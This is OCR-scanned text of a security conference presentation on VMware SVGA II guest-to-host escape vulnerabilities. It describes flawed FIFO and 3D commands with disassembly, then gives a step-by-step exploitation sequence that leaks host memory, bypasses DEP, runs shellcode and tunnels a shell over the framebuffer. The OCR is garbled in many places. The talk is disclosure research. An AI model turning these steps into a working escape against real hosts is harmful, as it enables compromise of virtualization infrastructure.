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Devices are emulated on the Host 
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• I don't have enough low-level system Mojo © 

• They are common to all VMware products 

• They "run" on the Host 

- vmware-vmx process 

• They can be accessed from the guest 

- Through Port I/O or memory-mapped I/O 

• They are written in C/C+ + 

• They sometimes parse some complex data! 
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Batteries 
Computer 
Disk drives 
Display adapters 
g VMwareSVGAII 
DVD/CD-ROM drives 
Floppy disk controllers 

Standard floppy disk controller 
Floppy disk drives 
IDE AT A/AT API controllers 
g Intel(R) 82371AB/EB PCI Bus Master IDE Controller 
_j Primary IDE Channel 
Keyboards 

&» Standard 101/102-Key or Microsoft Natural PS/2 Keyboard 
Mice and other pointing devices 
Network adapters 

VMware Accelerated AMD PCNet Adapter 
Ports (COM & LPT) 
J? Communications Port (COM1) 
J? Communications Port (COM2) 
~J? Printer Port (LPT1) 
Processors 

SCSI and RAID controllers 
■^ VMware SCSI Controller 
Sound, video and game controllers 
System devices 
3 ACPI Fixed Feature Button 
ig Direct memory access controller 



1. Video adapter 

2. Floppy controller 

3. IDE controller 

4. Keyboard controller 

5. Network Adapter 

6. COM/LPT controller 

7.SCSIcontroller(s) 

8. DMA controller 

9. USD controller (WKS) 

lO. Audio adapter (WKS) 



Windows XP SP3 (ESX) 
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Combination of 3/4 bugs in the VMware 
emulated video device 

- Host memory leak into the Guest 

- Host arbitrary memory write from the Guest 

• Relative 

• Absolute 

- And some additional DEP friendly goodness 
Reliable Guest to Host escape on recent VMware 
products: Workstation, Fusion?, ESX Server (4.0 
RC Hardfreeze) 
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VMware P 



• GPU Virtualization on VMware's Hosted I/O 
Architecture by Micah Dowry, Jeremy Sugerman 

- We were not aware of this paper during our research 

- Good insight on the technology 

• Previous VMware security announcements have 
included device driver guest- > host 
vulnerabilities, as have Microsoft VirtualServer 
and Xen 

• I am not a virtualization specialist 
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• VMware virtual GPU takes the form of an 
emulated PCI device 

- VMware SVGA II 

- No physical instance of the card exists 

• A device driver is provided for common Guests 

- Windows ones support 3D acceleration 

• A user-level device emulation process is 
responsible for handling accesses to the PCI 
configuration and I/O space of the SVGA device 
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http://www.usenix.org/event/wiov08/tech/full_papers/dowty/dowty.pdf 



IMMUNITY #0 



10 



The Virtual Graphic Stacks 
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(from Wlkipedia) / 



Memory-mapped I/O (MMIO) and port I/O (also 
called port-mapped I/O or PMIO) are two 
complementary methods of performing 
input/output between the CPU and peripheral 
devices in a computer 

- Each I/O device monitors the CPU's address bus and 
responds to any CPU's access of device-assigned 
address space 

- Port-mapped I/O uses a special class of CPU 
instructions specifically for performing I/O 
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My Simpli 



Host 

vmware— vmx ?rocess 



SVGA FIFO 



Frame Buffer 
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Virtual Machine 
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•1/0 Ports 

•1/0 Hervior^ Mappings 




Virtual Video Card 



06/29/09 



IMMUNITY *0 



13 



Frame Buffer 
SVGA FIFO 
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General | Pilote Flessources | 
|g VMware SVGA II 

Parametres de ressource 



Type de ressource Farametre 



iPlaaed'E/S 1400-140F 



tiM Plage memoire F0000000 ■ F7FFFFFF 



Plage memoire ES000000 ■ E87FFFFF 
Parametres bases sur : |^ 



_?JxJ 



~3 



P' Utiliser tomatiques 

Liste de peripheriques en conflit : Modifier les parametres... | 
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OK | 



Windows loo? SP1 (WKS) 
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SVGA FIFO 
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SVG, 



• The SVGA device processes commands 

asynchronously via a lockless FIFO queue 

- This queue (several MB) occupies the bulk of the 
FIFO Memory region 

• During unaccelerated 2D rendering: FIFO 
commands are used to mark changed regions in 
the frame buffer 

• During 3D rendering: the FIFO acts as a 
transport layer for an architecture independent 
SVGA3D rendering protocol 
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They can be found in xf86-video-vmware 
Sample 2D operations: 

- SVGACMDUPDATE (1) 

• FIFO layout: X, Y, Width, Height 

- SVGACMDRECTFILL (2) 

• FIFO layout: Color, X, Y, Width, Height 

- SVGA_CMD_RECT_COPY (3) 

• FIFO layout: Source X, Source Y, Dest X, Dest Y, Width, 
Height 
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^SVGA FIFO 201®pfcrtftidns 
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SVGACMD 
SVGA CMD 



SVGACMDINVALIDCMD 
SVGA_CMD_ UPDATE 
SVGACMDRECTFILL 
SVGACMD RECT COPY 
SVGACMDDEFINEBITMAP 
SVGACMDDEFINEBITMAPSCA I MLINE 
SVGACMDDEFINEPIXMAP SVGACMD 

SVGACMDDEFINEPIXMAPSCA I MLINE SVGACMD 
SVGACMDRECTBITMAPFILL SVGA CMD 
SVGACMDRECTPIXMAPFILL SVGACMD 
SVGACMDRECTBITMAPCOPY SVGACMD 
SVGACMDRECTPIXMAPCOPY SVGACMD 
SVGACMD FREEOBJECT 
SVGACMDRECTROPFILL 

SVGACMDRECTROPCOPY SVGACMD 

SVGACMDRECTROPBITMAPFILL 
SVGA CMD RECT ROP PIXMAP FILL 



SVGA CMD RECT ROP BITMAP COPY 



SVGA CMD RECT ROP PIXMAP COPY 



DEFINECURSOR 
DISPLAY CURSOR 



SVGA CMD MOVE CURSOR 



DEFINEALPHACURSOR 

DRAWGLYPH 

DRAWGLYPHCLIPPED 

UPDATEVERBOSE 

SURFACEFILL 

SURFACECOPY 

SURFACEALPHABLEND 

FRONTROPFILL 

FENCE 

VIDEOPLAYOBSOLETE 

VIDEOENDOBSOLETE 

ESCAPE 
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SVGA CMD 



COPY 



Copies a rectangle in the Frame Buffer from a 
source X, Y to a destination X, Y 




Frame Buffer 
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SVGA CMD 



COPY 



• Boundaries checks on the source location can be 
bypassed 




Frame Buffer 
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SVGA CMD 



COPY 



Boundaries checks on the destination location 
can be bypassed (to a lower extent than source) 
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Frame Buffer 
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SVGA Arbitral iQid&Write 



• Guest can read and write in the frame buffer 

• Frame buffer is mapped in the host memory 

• SVGA_CMD_RECT_COPY bugs mean: 

- One can copy host process memory into the frame 
buffer and read it 

• Default unlimited arbitrary read 

- One can write data into the frame buffer and copy it 
into the host process memory 

• Default limited arbitrary write 

- Only into the page preceding the frame buffer 

- Might be exploitable in some cases 

• Depends on what is mapped before the frame buffer 
IMMUNITY «Si 
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SVGA CMD ikRAW GLYPH 



• Draws a glyph into the frame buffer 

• Requires svga . yesGlyphs="TRUE" 
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SVGA CMD ikRAW GLYPH 



There is no check on the X, Y where the glyph is 
to be copied 



>±< 
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• Frame buffer is mapped in the host memory 

• SVGA_CMD_DRAW_GLYPH bug means: 

- One can write any data, anywhere in the host 
process memory 

• Write address is relative to the base of the frame buffer 

- Pretty steady in ESX 

- Can be leaked with SVGA_CMD_RECT_COPY bug 

• Non-default arbitrary write 

- Fully exploitable 
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VMwa 



• Experimental 3D support appeared in VMware 
Workstation 5.0 (April 2005) 

- Disabled by default 

- Option had to be added to the config file of the VM 

• It became default with Wks 6.5 (and Fusion?) 

- "Accelerate 3D Graphics 71 checkbox under Display 

• Code is reachable regardless of checkbox 

• 3D operations are default and parsed under ESX 
4.0 RC Hardfreeze 
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The SVGA3D protocol is a simplified and 
idealized adaptation of the Direct3D API 
It has a minimal number of distinct commands 
It is not publicly documented (AFAIK) 

- xf86-video-vmware has definitions for some 
constants but no prototypes of functions 

It uses "contexts" like Direct3D 

- Stored on the Host 

- Hold render states, light data, etc. 
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SVGACMDSURFACEDEFINE 

SVGACMD SURFACEDESTROY 

SVGACMDSURFACECOPY 

SVGACMDSURFACEDOWNLOAD 

SVGACMDSURFACEUPLOAD 

SVGACMDINDEXBUFFERDEFINE 

SVGACMDINDEXBUFFERDESTROY 

SVGACMDINDEXBUFFERUPLOAD 

SVGACMDVERTEXBUFFERDEFINE 

SVGACMDVERTEXBUFFERDESTROY 

SVGACMDVERTEXBUFFERUPLOAD 

SVGACMDCONTEXTDEFINE 

SVGACMDCONTEXTDESTROY 

SVGACMDSETTRANSFORM 

SVGACMDSETZRANGE 

SVGACMDSETRENDERSTATE 

SVGA CMD SETRENDERTARGET 



SVGACMDSETTEXTURESTATE 

SVGACMDSETMATERIAL 

SVGACMDSETLIGHTDATA 

SVGACMDSETLIGHTENABLED 

SVGACMDSETVIEWPORT 

SVGACMDSETCLIPPLANE 

SVGACMDCLEAR 

SVGACMDPRESENT 

SVGACMDDRAWPRIMITIVES 

SVGACMDDRAWINDEXEDPRIMITIVES 

SVGACMDSHADERDEFINE 

SVGACMDSHADERDESTROY 

SVGACMDSETVERTEXSHADER 

SVGACMDSETPIXELSHADER 

SVGACMDSETSHADERCONST 

SVGACMDDRAWPRIMITIVES2 

SVGA CMD DRAWINDEXEDPRIMITIVES2 
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WsP- " 



• Many SET commands are flawed 

• SETRENDERSTATE 

- The code: 



.text:0065EE25 

.text:0065EE25 loc_65EE25: ; CODE XREF 
.text:0065EE25 mov edi, [ecx+eax*8] 
.text:0065EE28 mov ebx, [ecx+eax*8+4] 
.text:0065EE2C add eax, 1 
. text :0065EE2F cmp eax, edx 
.text:0065EE31 mov [esi+edi*4+50h] , ebx 
.text:0065EE35 jb short loc_65EE25 



SetRenderStateInContext+25j 
Offset @ InputData[i] 
Data @ InputData[i+l] 
i++ 



- Write primitive relative to esi 

• It's the context address in the host memory 

• It can be leaked in the guest thanks to the COPY bug! 
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Relative 



SETLIGHTENABLED 


- The code: 




text:0065EF33 mov ecx, 


[ebp+arg_4] 


text :0065EF36 mov eax, 


[ecx+4] 


text:0065EF39 mov ecx, 


[ecx+8] 


text:0065EF3C mov edx, 


eax 


text:0065EF3E shl edx, 


4 


text:0065EF41 sub edx, 


eax 


text:0065EF43 mov eax, 


[ebp+arg_0] 


text :0065EF46 mov eax, 


[eax+648h] 


text:0065EF4C mov [eax+edx*8] , ecx 



- By overwriting Context +648h with the relative 
write, we get an absolute write primitive 

- Also works with SETLIGHTDATA for 29*4 bytes 
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Additional bugs in: 

- SETRENDERTARGET 

• Signed bounds checking 

- SETCLIPPLANE 

• No bounds checking 

- SETTRANSFORM 

• No bounds checking 
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Exploitation 
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We have to be able to read/write directly into 
the framebuffer and the FIFO 

- Direct3D has some APIs for that 

• Everything is checked and sanitized on the Guest side 

- The solution is to write our own driver 

• Sits on top of VMware video driver 

- It can be standalone though 

- Less coding to do this way 

• Maps the framebuffer and FIFO for direct, unrestricted 
access 

Requires Admin rights in the VM 
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Exploitati 



cess 



• : leak the base address of the 
framebuffer in the Host 

- All further leaks are relative to this address 

• Some methods: 

- Windows Vista: relative memory leak 

• The page before the FB contains the address of the FB 

- Ubuntu: relative leak bruteforce 

• Keep leaking until your find the ELF header 

- Windows XP/Vista: absolute memory write 

• Then scan the FB for the data written 

• The FB is big enough to not trigger an access violation 
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Exploitati 



cess 



• Step #2: fingerprint VMware version 

- We leak the PE/ELF header for that 

• They tend to be always at the same address 

• Step #3 to #n: exploit © 

- Leak/Overwrite/Trigger/Leak/Overwrite/Trigger - 
Done! 
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Leak 



File £di"t View W Team Tabs Help 

J3— S_j£j ™ n ^ n fh [n| m. 



ifcstart| pi Magi 



jj Command Prompt 
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BBB1 




We leak some 
data oy\ the 
first line of the 
fYamebuffer 
(more visual) 



fjllQ 2:42 PM 
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Dealing 



When dealing with XP/Vista DEP AlwaysOn, or 
ESX 4.0 as a Host, we have to care about NX 
vmware-vmx provides VirtualProtect wrappers 

- One for RE, one for RW 

- They take their parameters in the .data section! 

• Easily abusable with the absolute write primitive 

- Also available for mprotect under Linux/ESX 
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Vista 12 Steps ^mlpl€i T : td 6 



i) L the Frame Buffer Base address in the Host 
2) L the PE Header of the vmware-vmx.exe binary 

Based on the Timestamp in the PE Header, set the correct 

addresses needed 

4 ) Le; the 1st pointer of the theSVGAUser structure 

5 ) L the memory pointed by the leaked pointer to retrieve 
the address of the Context 

6) Overwrite the VirtualProtect parameters so that the 
address is the one of the PE header and the size is lOOOh. 
Overwrite as well the function pointer for the ESCAPE 
command with the address of the RW VirtualAlloc wrapper 
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Vista 12 Steps 




i) Trigger the ESCAPE command: the PE Header is now RW 
2) Write the shellcode into the PE Header 

Same as 6), except that we overwrite the ESCAPE function 

pointer with the RE VirtualAlloc wrapper 

4 ) Trigger the ESCAPE command: the PE Header (and our 
shellcode) is now RE 

5) Overwrite the ESCAPE function pointer with a pointer to 
our shellcode. 

6) Trigger the ESCAPE command 
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HOSPEF Over Pirect^P 

(or how to tunnel a shell over BMP images) 
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• MOSDEF (mose-def) is short for "Most 
Definately" 

• MOSDEF is a retargetable, position independent 
code, C compiler that supports dynamic remote 
code linking written in pure Python 

• In short, after you've overflowed a process you 
can compile programs to run inside that process 
and report back to you 
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Ensure Host <=> Guest communication post 
exploitation, while not relying on extra features 
such as: 

- Network: Host can be unreachable from Guest 

- VMCI: not enabled by default 

- VMRPC: can be disabled 

Idea: tunnel the shell over the framebuffer 

- And in Ring3 to add some excitement 
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Guest Side: 



3D API 



Create and manipulate objects (surfaces) in the 
video card memory, off screen 

- CreateOffscreenPlainSurface 

• Format being D3DFMT_A8R8G8B8 (32 bits per pixel) 

- D3DXLoadSurfaceFromMemory 

- D3DXSaveSurfaceToFileInMemory 

• No "raw" format, use D3DXIFF_BMP 

• We parse the BMP to recover our data 
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• Bind a MOSDEF listener on localhost 

• Scan the video card memory for a "signature" 

- Extract and parse the data 

- Send it to the locally bound MOSDEF 

- Receive the result 

- Write it back to the framebuffer 

• MOSDEF acting sequentially we should not 
have any concurrent access issue 

- We implement a lousy "semaphore" to be sure 
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The 
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Internal Network 



"Virtual Wooden Bridge" 

over the 

"Virtual Air Gap" 
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Conclusion 
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Who am I 



Title 

Sr Director VRT 
Industry Experience 

13+ Years 
Previous Companies 

Farm9, Hiverworid (nCircle), IBM 
Certifications 

I'll send you a PDF with all mv credits, c eils. 

and previous work. | I'd open it in a VM| 




SOURCE 

l.u II |y! II |1,-| il-.vn I 
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Visualization 



nceptions 



• VMware isn't an additional security layer 

- It's just another layer to find bugs in 

• Given the correct bug primitives (memory leak, 
memory write), everything can be defeated 

- ASLR, NX 

• Trying to patch silently in 2009 is ridiculous 

• If a feature is not needed for a branch, the code 
shouldn't be included in it 

- Why would ESX ever need 3D support ... 
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